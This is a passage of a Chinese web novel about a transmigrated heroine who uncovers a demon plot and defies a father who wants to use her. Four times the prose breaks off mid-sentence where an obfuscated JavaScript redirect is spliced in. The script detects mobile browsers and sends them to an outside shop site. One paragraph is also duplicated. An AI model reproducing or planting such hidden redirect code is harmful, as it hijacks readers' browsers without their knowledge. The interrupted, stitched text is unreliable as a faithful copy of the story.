“世叔位高权重,句句如山,小女人微言轻,岂敢有半分辩驳?”她眼尾微红,声气轻软似絮,却偏在“岂敢”二字上落下一点若有若无的叹息。 旋即抬眼,唇边浮起一抹淡而又淡的苦笑:“封相公方才句句提及‘爱慕’,实在折煞臣女了。封家与我柳家世代交好,封公子又与我姐姐订下婚约,臣女与姐姐的情分,是真心实意,至于其他,不过是爱屋及乌,从不曾有过非分之想。” “若连敬爱姐姐之心都成了罪过……那臣女今日,便只能以血明志,证此清白了!” 【恭喜宿主获得三连杀!白莲段位16.0,成为“神级白莲大师”!】 柳清圆不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪双扉眼底笑意浅浅,从袖中取出一枚安神符:“世子不必忧虑,只是心脏没有了而已。” 他怔忡片刻,仿佛一个从未活过的木偶,倏忽间被注入了魂魄,只在心口留下被冲刷过后的空洞悸动。 “什么叫我没有心脏了?我没有心脏了?!”沈流商猛地挣扎起来,痛苦地抱住头,觉得自己一定还在做梦。 纪双扉眼神一凛,把那安神符贴到他的脑门上,随意念了个法咒,便让沈流商直接又睡了过去。 “你们有完没完?老娘真的什么都没看见!刚走进花林没几步,就一阵头晕,直接栽倒了……连那妖怪影儿都没看到,你们还要我怎么说!” 近处还在接受盘问的沈如雁看见沈流商的身影,方才强撑的冷静自持瞬间碎裂。 她眼眶一红,提着裙摆便扑了过去,一把将还有些恍惚的弟弟死死搂进怀里。 “阿弟!我的阿弟!你可算醒了!吓死阿姐了!”她声音发颤,带着浓重的哭腔,双手不住地在他身上摸索,仿佛要亲手确认他每一寸骨肉都完好无损,“快让阿姐看看……伤着哪儿没有?头还晕不晕?那该死的花妖定是叫你遭了大罪了……我可怜的阿弟啊!” 纪双扉在一旁咳嗽两声,想宽慰几句,让沈如雁不要折腾她弟弟了,然而还没开口就对上了她充满怒意的目光。 沈如雁动作一顿,盈满泪光的眼睛瞪了他一眼。她非但没有收敛,反而更用力地揉了揉沈流商本就凌乱的头发,斩钉截铁地说。 “我弟弟怎么了?他还能活下去吗?他是我的亲弟弟!天塌下来,也没有我弟弟的安危要紧!……那妖物在哪儿?我要将那妖物碎尸万段!” 纪双扉终于寻到一个说话的空档:“王妃娘娘放心,有这颗玲珑心吊着,世子他现下安好无恙……撑过一月不成问题。” 沈如雁脸上已经满是泪痕,她又将他上下仔细打量一遍,确认他除了狼狈些并无大碍,这才稍稍松了口气,但攥着他衣袖的手却丝毫未松,仿佛生怕一松手,眼前人又会消失不见。 “一个月?只能管一个月?那之后怎么办,我弟弟他才十七岁,他还不能死!” 楼夫人过来拉住了她,也轻柔地拍着她的背,轻声哄道:“雁儿,别难为统领大人了,流商他……相信娘,一定会有办法的。” 沈如雁鼻尖微酸,喉头有些发堵,最终只是低下头,含糊地应了一声:“嗯……” 目睹这一切的纪双扉神色未变,眼底却飞快掠过一丝阴鸷的讥诮。 16. 宿主你被做局了! 【春日宴剧情圆满完成,人设值+2200,剧情点+300,达成新成就“佛口蛇心”,折算积分奖励,消耗十积分兑换血浆,“柳知微”账户余额:250积分。】 系统的播报声刚落下,柳知微就揉着眼睛坐了起来。 这一觉睡得实在不怎么样,脑子还是昏沉沉的。昏迷前那一团乱麻似的画面又涌上来,在剧情力的作用下,那封老头步步紧逼,他身边还有个门客,两人一唱一和跟说相声似的,越想越让人堵心。 还有幻象里那个柳清圆……最后到底是怎么破局的?是她把那bug解决了才算通关?意识快消散的时候,眼前那个身影……是柳清圆吗? “系统,”她清了清嗓子,声音还有点哑,“我最后到底怎么通关的?现在外面什么情况?封老头呢?还有柳清圆怎么晕了,封瑾遥又突然发什么疯?” 系统依旧是那副不带感情的机械嗓。 【宿主使用道具“骨刃”消灭了bug,幻境与现实之间裂开了一道缝隙,您就回到了现实。】 【封瑾遥作为关键人物,受到了花妖妖气影响。至于柳清圆被攻击的原因……她是天道之女,气运加身,妖物自然会集中火力对付她。】 【现在京城人心惶惶。大夏朝千百年来从没出过妖物,妖魔本该被神力镇压在九幽之下。这花妖的出现,正是京城乱局的开端。】 系统汇报任务时完全像个毫无感情的AI,柳知微一听那机械音就浑身不自在,赶紧又把系统切回了幽默模式。 [呜呜呜呜呜宿主大大,俺差点被你吓鼠了!快让俺瞅瞅有没有哪里伤着,芝麻吹吹,痛痛飞飞!] 柳知微:“……”虽然吵是吵了点,但好歹对味了。 她揉着额角坐起身,试图驱散残梦的困扰,便听得院外传来略显急促的脚步声还有楼夫人抑制不住的激动。 “知微醒了?太好了,谢天谢地,这孩子总算没事了!” 房间里,楼夫人攥着柳知微的手,泪珠子不要钱似的往下掉,仿佛她不是中了点妖毒,而是下一刻就要咽气了。 “微微啊,都是干娘不好……”楼夫人一边拭泪一边道,“若不是办这劳什子宴会,你何至于遭这份罪?” 柳知微勉强弯了弯唇:“楼姨母,我真没事。” 她是真觉得没什么。比起前世那些千刀万剐、烈火焚身的死法,这点妖毒简直如同被蚊子叮了一口。不过这话她可不敢说出口。 “都怪那妖物作祟,这两日生出许多麻烦事来,忙得我脱不开身,连想来看微微一趟都不得空……干娘心里实在过意不去。好在如今此事已上报朝廷,缉妖司正在全力追捕,听说还要在明月楼布下阵法。微微莫要担心,事情总会了结的……” 楼夫人依依不舍地拉着她的手,千叮万嘱:“微微,这几日你好生将养,我听闻缉妖司在柳府四周布下阵,你且安心休养便是。” 柳知微眨眨眼,只见楼夫人脸色憔悴,眼底泛青,像是一下子苍老了许多。 “两日?”柳知微怔了怔,“姨母,我竟昏迷了两日?” 楼夫人郑重地点点头,眼眶里还含着泪:“你在柳府我不放心。那府里的奴才,一个个笨手笨脚,心全扑在那柳清圆身上,哪里肯尽心伺候你。再说当初封相闹的那一出,把你的名声也弄得……不太好听。我便做主将你在我这儿多留了两日,等你醒了再做打算。” “分明当初那花妖作祟,封家公子是被花妖妖气所冲,这可是缉妖司统领亲口下的定论。可那封家人偏偏把账全算在你头上,谁不心疼自家孩子?但看人总得讲个道理吧!再说我们家流商也……”楼夫人说到这里,忽然意识到什么,猛地住了口,随即生硬地换了话头。 “总之,这事怪不得你,眼下最要紧的就是抓住那花妖。微微,你且宽心,缉妖司已经全力彻查,真凶不日便会浮出水面。到那时候,你的名声自然也就清白了。” 楼夫人碰了碰柳知微的脸颊,亲昵地与她贴在一起,将她的头慈爱地拢进怀里,热泪止不住地淌下来。柳知微本想像往常那样挣开——她一向不喜与角色亲近,只因她比谁都清楚,这一切不过是话本里的虚妄,她从来只袖手旁观,冷眼走过一个又一个世界。而这也是职业穿越者该有的分寸。 可不知为何,楼夫人一声声说着“会好起来的,会好起来的”,她的眼泪也跟着落了下来,无声无息。 柳知微没有再挣扎了,她隐约觉得,这或许是原主残留的情绪。这样的事,只在她最初经历的寥寥几个世界里才出现过。那时她还很是青涩,常常要被系统强行抽离,才能避免陷进角色的感情漩涡里。而这一次,大约是无害的,系统始终没有发出警报。 她反而朝那个拥抱靠了靠。 恰在此时,柳知微感到一阵头晕,和之前在听雨轩那次意识被强行抽离的感觉相似,却又模糊得多,只是微微有些发晕。 沈流商心口那个大窟窿,是柳知微在昏迷之后不曾见过的事情。 缉妖司统领纪双扉从袖中取出一样东西——一颗还在微微搏动的心,玲珑剔透,泛着淡淡的莹光。 “上古灵物,暂可续命。”他把心塞进沈流商胸口的窟窿里。血止住了,沈流商的胸膛重新有了极其微弱的起伏。“但只有一个月。一个月内找不回他自己的心,玲珑心会反噬其主。” 楼夫人攥着那块染血的帕子。那是先前沈如雁胡乱堵在沈流商胸口上的,帕子上的血已经半干了。她眼眶通红,却还是稳住声音点了点头。 宁都侯府当天便发了天字级悬赏:缉拿那逃窜的花妖。 柳知微站在人群外,看着这一切像看一场与自己无关的皮影戏。 在之前柳知微只把那个bug当做这个世界里一段错乱的代码,还是生命值掉到2%才把那东西剥离出来。花妖在骨刃下消散时,她还松了口气,以为终于结束了。 可沈流商怎么会受花妖袭击? 那花妖已经被她除掉了。bug剥离的那一刻,隐藏剧情就该结束了。可是柳知微只获得了春日宴剧情积分,而没有隐藏剧情的奖励。 而原因是,花妖的根系一直寄生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576305|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在沈流商的心脏上。就在她消除bug的那一刻,根系随着那颗心脏一起碎在了那把骨刃之下,最终化作了灰烬。 【“赛半仙”技能使用一次,剩下两次使用机会,消耗100积分,宿主账户余额:150积分!】 柳知微还没从系统的提示音里回过神来,眼前楼夫人正拿着帕子给她擦眼泪,一脸的心疼。她愣愣地看着楼夫人,突然什么都明白了。 脑子里那些乱七八糟的线索一下子全串上了,是有人故意拉她进这个幻境,知道她能对付花妖,借她的手杀了沈流商,再嫁祸给她。一环扣一环,干干净净。 柳知微深吸一口气。 她特么这是被人给做局了啊! 【恭喜宿主发现剧情盲点“我被做局了!”,发掘花妖支线任务——“她之所囚”!隐藏剧情尚未完成,当前进度15%,请宿主再接再厉,请快快寻找下一关键线索,找到谁是凶手吧!】 “……”柳知微闭了闭眼,在心里把系统翻来覆去骂了八百遍。 系统搓着手,满脸堆笑地凑上来:【哎哟喂,宿主大大~您看您说的,这不都是主系统定的规矩嘛!隐藏剧情嘛,肯定是得带点挑战性才够劲儿,您说是吧?不过您放心哈,难度越高,咱们的奖励那也是往天上翻的!大大,您就瞧好吧~】 听着这满耳朵尖细的太监嗓,柳知微一把捂住耳朵,恶狠狠地喊:“给我把原来的东北话嘎子语音库换回来!” 楼夫人看她脸色一阵青一阵白的,以为她刚醒过来脑子还不清楚,柔声安慰道:“知微,别想太多,先好好歇着。有什么事有干娘在,不怕的。” 柳知微沉默了好一会儿,其实是在脑子里把语音库挨个翻出来,一个一个试听。 楼夫人正打算起身离开,让她自己静静,就听见她忽然开口,声音还有些哑,但语气很平静。 “干娘,我想回柳家看看。” 楼夫人一愣,下意识想劝,但对上柳知微那双眼睛,到嘴边的话又咽了回去。那眼神清明得很,不像是一时冲动。 她叹了口气,替柳知微拢了拢肩头的碎发:“行,干娘陪你回去。” 与此同时,柳府内,柳清圆对镜梳洗时,目光不经意落在了自己手腕上。 那里有一块青色的胎记。晨光里,胎记深处那丝青色的纹路,好像比昨天更明显了一点,愈看愈像一道刻进肤骨的花痕。 她静静看了一会儿,不动声色地拉下袖子,盖住了。 门扉合拢,落栓。 柳清圆背靠着门板,脸上那层挥之不去的病气渐渐消散。她走到桌边,不急不缓地倒了杯温水饮下,然后才拿起那个被随手搁在桌上的香囊。 片刻,她眉梢轻挑,露出一抹近乎荒谬的浅笑。 “合情香?”她低声自语,摇了摇头,眼底却无半分笑意,只有一片冰凉,“二妹妹,你连要寻的情郎都能弄错?” 她随手将香囊丢进妆奁最底层。 走到桌边,她拈起一块糖蜜点心咬了一口,甜意化开,心情似乎好转些许。 17. 她来当这个男一号 柳知微刚回到自己那小院没多久,连楼夫人送来的药材箱子都还没捂热乎,院门外就传来了沉稳而带着压迫感的脚步声。 张妈妈脸色微变,低声道:“小姐,是老爷身边的长随,福安。” 话音未落,一个穿着体面、面容严肃的中年管事已迈入院门,身后还跟着两名身形健硕的婆子。福安站定,目光在满院的药材箱子上扫过,并无多少波澜,只是对着柳知微微微躬身,语气平板无波。 “二小姐,老爷请您去书房一趟。” 该来的总会来。柳知微心下明了,她在沈府闹出那么大的动静,还牵扯到了那位心尖上的嫡女,她这位便宜爹怎么可能不过问。 柳知微刚回到自己那小院没多久,连楼夫人送来的药材箱子都还没捂热乎,院门外就传来了沉稳而带着压迫感的脚步声。 张妈妈脸色微变,低声道:“小姐,是老爷身边的长随,福安。” 话音未落,一个穿着体面、面容严肃的中年管事已迈入院门,身后还跟着两名身形健硕的婆子。福安站定,目光在满院的药材箱子上扫过,并无多少波澜,只是对着柳知微微微躬身,语气平板无波。 “二小姐,老爷请您去书房一趟。” 该来的总会来。柳知微心下明了,她在沈府闹出那么大的动静,还牵扯到了那位心尖上的嫡女,她这位便宜爹怎么可能不过问。 她跟着福安来到书房。柳府家主柳尚书端坐在紫檀木大书案后,面色沉肃,不怒自威。他并未立刻开口,只是用审视的目光上下打量着柳知微,那眼神锐利得像是要刮掉她一层皮。 “回来了?”半晌,柳尚书才沉声开口,声音里听不出喜怒。 “是,父亲。”柳知微垂眸,做出恭顺的模样。 “哼,”柳尚书冷哼一声,将手中的茶杯重重搁在案上,发出清脆的撞击声,“你倒是本事见长!去沈府赴个宴,也能惹出这般祸事,还劳动楼夫人亲自送你回来?你是生怕别人不知我柳家出了个能招惹是非的女儿吗?” 柳知微暗暗撇嘴,嘴上却只依旧耐着性子回答:“女儿知错,给父亲添麻烦了。” “添麻烦?”柳尚书的声音陡然拔高,带着显而易见的怒气,“你仅仅是添麻烦吗?你可知清圆因为你,也受了多大的惊吓?她身子本就柔弱,回府后便心悸不适,到现在还卧床不起!” 柳知微心头一动,原来重点在这里。 “大姐姐她都没说什么呢,你又着急什么?有人稳坐钓鱼台,就等着你这鱼儿上钩呢。” “老头,你能不能睁大眼睛看看,”柳知微抬起眼,语气平静,“当时情况混乱,我自身难保,哪里来的广大神通去害她们?” “况且,要我真有那本事,还轮得到你在这儿训斥我?” 柳知微看着她那便宜爹气得脸红脖子粗,心里咯噔一下。老爷子可别气性上头,当场给她表演个原地飞升!这“亲爹碰瓷天花板”的锅砸下来,她怕是连夜卷铺盖跑路都来不及。 “你还敢狡辩!有人亲眼看见,封瑾遥离席时,就是你跟着他走的。后来沈府后院那池子边,又只有你们两个人。紧接着封瑾遥就中了妖毒,连清圆为了救你上前察看,也被妖物害了!你为什么要去招惹不该惹的人,还把封相给得罪了?你知不知道封相对我有多重要!” 柳知微:“我都有点磕你俩了。” 柳尚书为这听不懂的话愣怔一瞬,随即更是气得浑身发颤:“你如今是越发不像话了!看来是我平日对你管教太松,才让你这样不知分寸,连自家姐妹都要拖累。” 柳知微心中冷笑。这便宜爹倒是好一番作秀,若不是她事先看过人物卷宗,恐怕真会以为这是个多么疼爱女主的好父亲呢。 她都有点同情柳清圆了,瞧瞧这女主身边的一个两个都是些什么货色啊。草包油腻的逼王公子哥也能当男一号,卖女儿换富贵、翻脸比翻书还快的便宜爹更是个极品。还有后面排着队的那群叼毛,个个嘴上说着爱她,心里盘算的无非是她的心、她的肾、她身上那点值钱的东西。 就这样一群人,也配当男主角? 她越想越好笑。 自己这个被剧本盖章的恶毒女配,要是真撸起袖子追柳清圆,怕是比他们强一百倍。 柳知微没忍住,笑出了声。 柳尚书那头劈头盖脸一通训斥,从她不敬尊长连累家声,说到她行为不端带累姐姐,直说得自己仿佛下一刻就要被这逆女气得呕血三升。 柳知微垂首站着,目光落在这便宜爹官袍下摆上,神游天外。 “……为父这般辛苦,皆是为你们姊妹前程!”柳尚书终于结束了他的长篇大论,指节重重叩在桌案上,“明日你去封相府上,给封家公子赔罪,不管封相如何要求,你都要一一照做!” 柳知微猛地抬头:“女儿何罪之有?” “顶撞封相大人,连累姐姐,还敢狡辩!”柳尚书眼底闪过一丝晦暗。 他推过一个掌心大小的瓷瓶。 “还有寻个机会,将此物下在封瑾遥的茶点里。”他的语气很是平淡,“封瑾遥几日疯疯癫癫,怕是凶多吉少,挺不了多久了。” “不管你用什么法子,必须想法子怀上封瑾遥的孩子。我柳府要想在封相手里活下来,便只有这一条路了。” 柳知微脑子里“嗡”地一声,差点没维持住脸上那点虚假的恭敬。 她虐恋游戏通关记录能绕京城三圈,什么强取豪夺、挖心换命的狗血套路没见过?可像眼前这位,能把卖女求荣说得跟普度众生一样清新脱俗、理直气壮的……真他娘的是个人才。 原主可是玉清长公主的独女,若非原身自甘轻贱,又有谁敢动她分毫? “父亲,你是真的……” 柳尚书恰到好处地神色缓和,做出一副慈祥好父亲迫不得已的为难模样。 他语重心长道:“莺儿,爹都是为了为你好。若要保你,便只能出此下策了……” 他喝一口茶,居高临下地看着柳知微,下达了最后通牒,“莺儿啊,如今我们不能失去封相这个支柱。你难道是要想让为父失望吗?” “你已经不小了,该懂得为父的不易。莺儿,不要任性。” 芝麻在她神识里怒吼:[宿主!喷他丫的!他在侮辱咱们!喝点马尿你是心高气傲,惹上你爹你是生死难料!] 柳知微眼波流转,状似无意地轻叹,“我以为,你怎么还能算有点脑子。” 她非但没有起身领罚,反而施施然走到一旁的椅子上,从容落座,甚至抬手整了整袖口。 福安愣在原地,不知该不该上前。柳尚书更是脸色铁青,一掌拍在桌上:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576306|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这是什么态度!” 那少女闻言“噗嗤”一声,做出一副忍不住要吐了的表情,给他比了一个明晃晃的中指:“老比登,给你脸了?” 柳知微一直信奉一条真理。 忍一时越想越气,退一步憋死老己。反击不够,再加肘击;得寸进尺,才是快意。 柳尚书开口:“住……”然而就被柳知微打断,开口就是一顿输出。 “我看你是有点飘了。给你点阳光你就灿烂,给你点洪水你就泛滥,给你个鸡毛你就当令箭,但凡有颗花生米都不至于喝成这样!” “先穿袜子再穿鞋,先当孙子再当爷!小崽子一身反骨就来闯江湖,小心我告诉你妈,回家屁股就开花!” 柳尚书猛地一拍几案,茶水溅出来,反倒是洒了自己一身。他显然是气急了,额上的青筋暴起。 然后被身旁的老管家不知不觉地按住了手臂。 他轻轻摇了摇头,开口劝道:“老爷,还不到时候。” 他们柳府找不到这么完美的替死鬼了。 柳尚书顺下了气,很快收回了周身的威压。然而仔细看去,那青筋中竟夹杂着零星鬼气。 柳知微唇角一勾。 厅外忽然传来一阵急促的脚步声。 一名下人躬身疾步入内,脸上带着显而易见的惊喜,声音因激动而微微发颤:“禀、禀老爷!大喜!大小姐、大小姐她方才醒了!意识清明,还能认人,医官正在诊治!” “什么?!”柳尚书猛地从座位上站起。 柳知微脑中“叮”地一声脆响,冰冷的机械音准时打卡上班:【检测到关键人物“柳清圆”意识恢复。请宿主遵循人设,给予及时反馈!】 柳知微闭了闭眼。 罢了,这劳碌牛马命。 再抬眼时,她眸底已漫上一层薄薄的戾气,眉尖蹙得恰到好处,紧紧咬着下唇,像是强压着翻涌的怒意。半晌,才从齿间挤出那句低低的咒骂。 “这狐狸精……怎么就死不了……可怜瑾遥哥哥他都……” 神识空间里,柳知微正揣着手和系统讨价还价中。 [加班费呢?折算成积分汇率是夺少?] [上次的工伤补贴还没到账!] 芝麻:[……在走流程哦,宿主大大。] 那边柳尚书的脚步忽然钉在原地,用施舍般的语气说道:“看在你姐姐苏醒的份上,今日你顶撞之罪暂且记下!立刻滚回你自己院子反省,没有我的允许,不得踏出院子半步!” 他抚着长长的胡子,意味深长地“哼”了一声,随手将瓷瓶丢到柳知微面前,然后拂袖而去。 下药、误会、流产、失忆……求求了,以后能不能播点正经的。” 柳知微一把攥住那瓷瓶,甚至懒得吐槽,然后接通雷击装置,掌心里雷光一闪,直接把它连同里面的药粉一起汽化了。 “天道在上,这种下三滥的剧本,我看着碍眼,替您删了。” 她抬头看天,顿了一会儿,像是在等什么回应。 什么也没等到。 “行吧,您忙。”她扯了扯嘴角,把那点试探收回去,转身出了书房。 嘎巴嚼了一大口答辩,柳知微生理不适,看着哪哪儿都碍眼,便急忙地回了自己的小院。她目光掠过庭院,脚步却是一顿。 18. 黑云压城城欲摧 明月楼矗立在京城最繁华的东市,楼高五层,飞檐如翼,斗拱层叠。往日此间彻夜笙歌,灯火盈街,如今却因妖祸横行,百姓闭户不出。整座楼都浸在沉沉夜色里,唯有月光白惨惨地渗入,在地上淌出一片凉意。 纪双扉披着件松垮的白单衣,懒懒地靠在窗边。手里拎着壶酒,半晌才浅抿一口,更像是在借这冷月消磨长夜。 夜风掠过他未束的黑发,他眸光清冷地落在腕间,指尖一按,一圈赤红色的绳结霎时浮现。 他身边并非无人。温香软玉在怀,一名娇俏女子正俯身为他斟酒。酒至唇边,纪双扉却忽地伸手,将那名为翠翠的女子轻轻拉近。 温热的呼吸几乎交缠,女子脸上飞起红晕,调笑着别开脸:“郎君,你真坏……” 她作势要凑近索吻,纪双扉的指尖却已先一步抵上她的唇瓣,带着轻微的力道,将两人距离缓缓拉开。 “哎呦,郎君真是……亲一口又能怎样?”翠翠故作娇嗔道。 一声轻笑自门口传来。那女子浓妆艳抹,珠翠满头,鬓边六支金步摇随着她的莲步轻移而摇曳生姿。 她翘起兰花指,掩在鼻尖:“好了,翠翠,就别逼我们这位小郎君了。”她声音酥软,却带着洞悉一切的调侃,“他呀,心里可想着人呢。” 她指尖轻抚过翠翠的脸颊,带着安抚的意味。翠翠不甘地瘪瘪嘴,低声应了句“是”,便退了出去。 甫一离开,她便翩然化作一朵花,无声消散。 室内只剩两人。那女子袅袅娜娜地移至屏风后,悉悉索索的衣衫褪落声传来,烛光将一道曼妙剪影投在绢面屏风上。纪双扉不动声色地移开视线。 “怎么还是这么没规矩。”他开口,声音里带着无奈,“多大年纪了,反倒越发……” 屏风那头水声轻响,随即传来一声笑,带着几分懒洋洋的娇意。 “跟我论规矩?” 那声音不高不低,隔着薄薄的屏风,每个字都像含着笑,“当年在猎奴场把你捡回来的时候,你像条小狗似的抱着我腿不放,怎么撵都撵不走。如今孩子都会打酱油了,倒端起长辈的架子来了?” 纪双扉面色微沉,喉结滚动了一下:“……烛怜光。” 不多时,烛怜光转出屏风,已换上一身明黄衫子,鹅黄短襦配杏黄绫裙,腰间系着一个小荷包,上面绣了几朵半开的金银花。发髻松挽,小金珠耳坠一晃一晃。 “怎么样?”她咬了一口糕点,“看我这样,你高兴吗?” 见他神色疲惫,她小心翼翼凑过去:“为了你,我可是连姐妹都卖了,我偷偷调包了柳府小姐的香囊,把妖力下在那合情香里,引得方青箬前去作乱,再由你去降服她挣得功劳。难道这样还不够?你都当上统领了,朝堂也重启了缉妖司,我还做得不够好?” 她顿了顿,声音低下来,带着点委屈:“难道你目的达到了,就不喜欢我了,连搭理都不愿意?” 纪双扉放下酒壶,伸手把人揽进怀里,低头哄她:“怎么会?你这样替我分忧,我疼爱都来不及。小怜,今天圣上可在场呢,来见你已经是冒了天大的风险。我奉命在这儿布下巨大的捉妖法阵,却不知道,我怀里就搂着一个妖魔。” 烛怜光终于笑了,靠在他胸口,声音软软的:“那我身边的这个,不也是个妖魔?你就该想着我恋着我,不然还会有谁愿意去帮你做事?” 纪双扉没接话,转头望向窗外的月亮。月光落进他眼底,碎成一片波光粼粼,像藏了许多说不出口的心事。 半晌,他才开口:“我只是担心。春日宴上你操控方青箬,虽然事情办成了,我也因此被重用,但总觉得有些不对劲。我没有想让封瑾遥疯魔,更没有杀宁都侯府的世子。等我去到的时候,那花妖已经消失得无影无踪了。” 他眉头微蹙,看向她:“是不是你的咒印下得不够牢固?方青箬挣脱了操控逃了?会不会牵连到我们?” 烛怜光愣了一瞬,随即闭上眼睛,默默催动咒印。一朵金银花浮现在她眉心,流光一闪,便悄然黯淡下去。 她睁开眼,声音有点发虚:“我……我感应不到她了。” 两人同时一惊。 烛怜光又试着感应了一次,脸色一点点白下去:“这是靥大人亲自下的咒印,绝不可能被破。何况青箬只剩那么一点残魂了,她根本不可能挣脱……除非她已经死了。” 她抬起头,与纪双扉对视一眼,两人的目光里同时浮上一层寒意。 “有人杀了她。” …… 沈如雁怔然片刻,将壶中残存的几滴酒液倾倒在地,权作祭奠。随后,她倚着冰凉的窗台,阖上双眼,仿若昏醉过去。 那只五彩灵雀扑棱着翅膀飞回,熟稔地落于她发间,轻轻啄了啄她的额角,歪着头,“唧唧”叫了两声,似在关切。 沈如雁毫无反应,似已沉入半醉半睡的昏茫。灵雀叫得急了,她才微蹙眉头,无意识地抬手挥了挥,将它稍稍拂远。 月光静静流淌,在她苍白的脸上镀上一层虚幻的银边。 三日、五日过去了,那花妖依旧不见踪影。她每回入夜,便按缉妖司那人的吩咐,以酒祭月,说是以此法寄忆相思,便可聚魂。因为人的执念,能保亲人魂魄不散。以月出为信,若一月之内有一夜未得明月相顾,便说明沈流商没有救了。 如今京城内以明月楼为中心布下了巨大的守护法阵,却连那真正的祸首都抓不到,只能眼睁睁看着自家阿弟在生死线上熬着,真凶却还在逍遥法外。另外封家虽没讨得好,柳家那两位小姐也伤得不轻,不过柳知微昏迷两日便回了柳家,前不久听闻柳家大姑娘也醒了,似乎一切都在向好的方向发展,可她心里一直惴惴不安。 沈如雁依旧跪在窗台边。月光如水,她的泪无声无息地落在地上。身后的影子渐渐靠近,覆上她的影子。待她快要睡过去时,那只五彩灵鸟正要停在她头上,却被那影子轻轻捉住,放回了笼子里。 “别闹她了,让她好好休息一下。”宋歇对着鸟儿低声说,然后将累极了的沈如雁抱起,缓缓置于里间榻上。他走到窗台边,对着那明月拜了三拜。 “快让沈世子回来吧。那是她的阿弟。他若死了,雁雁怕是支撑不住了。” 他不会让沈如雁重蹈覆辙。常有人说他命中带煞,他从不信天命,可眼见妻子一日日憔悴下去,他也开始拜神了。 妖魔横行,这是千百年来未曾有过的事。鬼神之力,非人力所能及。自春日宴那花妖起事以来,雷厉风行的靖王也不得不低头承认了。 缉妖司如今重启,真的能力挽狂澜吗?他心里也说不准。他望着月亮,重重地叹了口气,然后提着笼子,往沈流商所在的卧房走去。 缉妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576307|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司的法子,需至亲之人日日守夜,护住魂魄。沈如雁已经好久没合过眼了。如今夫妻一体,便由他守在沈流商身边罢。 门外夜风忽紧,檐角铜铃叮当作响,像某种不祥的预兆。 宋歇刚走到沈流商卧房门口,笼中的五彩灵雀忽然扑腾起来,尖声鸣叫,羽翼簌簌震得竹笼剧烈摇晃。他脚步一顿,心头猛地一跳,手已按上腰间短刀。 屋内烛火未灭,沈流商静静地躺在榻上,面色青白如纸,胸口几乎看不出起伏。宋歇每日都来查看,那张脸太年轻了,眉眼间还残留着和沈如雁相似的轮廓,如今却被死亡的气息一点一点侵蚀。 阴风阵阵,房门忽的大开,摇晃着的烛火明明灭灭,投下的阴影跟毒蛇似的扭曲地缠绕在窗花上。宋歇关上了门,转而敏锐地觉察到,屋内温度骤降,屋角甚至结出了冰晶,寒冷森然。他心中警铃大作,急忙走向沈流商那边。 宋歇眼前忽然一花,像有什么模糊的东西一闪而过。一抹蓝色身影掠过,他猛然对上一双猩红的眼眸,霎时天旋地转,他猛地扶住床榻才勉强稳住身形。 他的目光死死锁住沈流商的脸,看见那人眉心有什么东西在微微发亮。一缕极淡的银白色光丝,细若蛛丝,正从眉心缓缓渗出,向上飘起,仿佛被什么牵引着,往窗外飘去。 宋歇脸色骤变,猛地上前一步,伸手去抓那缕光丝,手指却径直穿了过去,什么都没碰到。那光丝悠然自得地飘出窗外,消失在月色里。 “雁雁!”他来不及多想,转身就往外跑。 沈如雁从昏睡中猝然惊醒。仿佛有人在耳边叫了她一声,她睁开眼的瞬间,心口像被什么东西狠狠攥住,痛得她蜷缩起来,一口腥甜涌上喉间。 她竟就这样睡着了。不行,阿弟身边不能没人守着。头顶那轮明月依旧清亮,她的心却猛地揪紧,一刻也等不了,必须立刻回到沈流商身旁。 沈如雁赤着脚冲出房门,走廊里的侍女被她的模样吓了一跳,还没来得及出声,她已经跌跌撞撞地跑远了。月光照在她身上,她素净的衣裙在夜风中吹得猎猎作响。 沈流商的卧房门口,宋歇险些与她撞个满怀。两人对视一眼,沈如雁看见丈夫脸上的神色,瞳孔骤然一缩,一个字都没问,直接推门而入。 榻上,沈流商依然躺着。烛火重新亮了起来,安安静静地燃烧着,仿佛前几日发生的一切都只是她的幻觉。 她走到榻边,缓缓跪下去,伸手去探弟弟的鼻息,依旧没有任何反应。但是她能听见那颗续命的玲珑心还在跳动着,终于还是松下一口气。 宋歇从身后抱住她,把她的脸按进自己胸口。 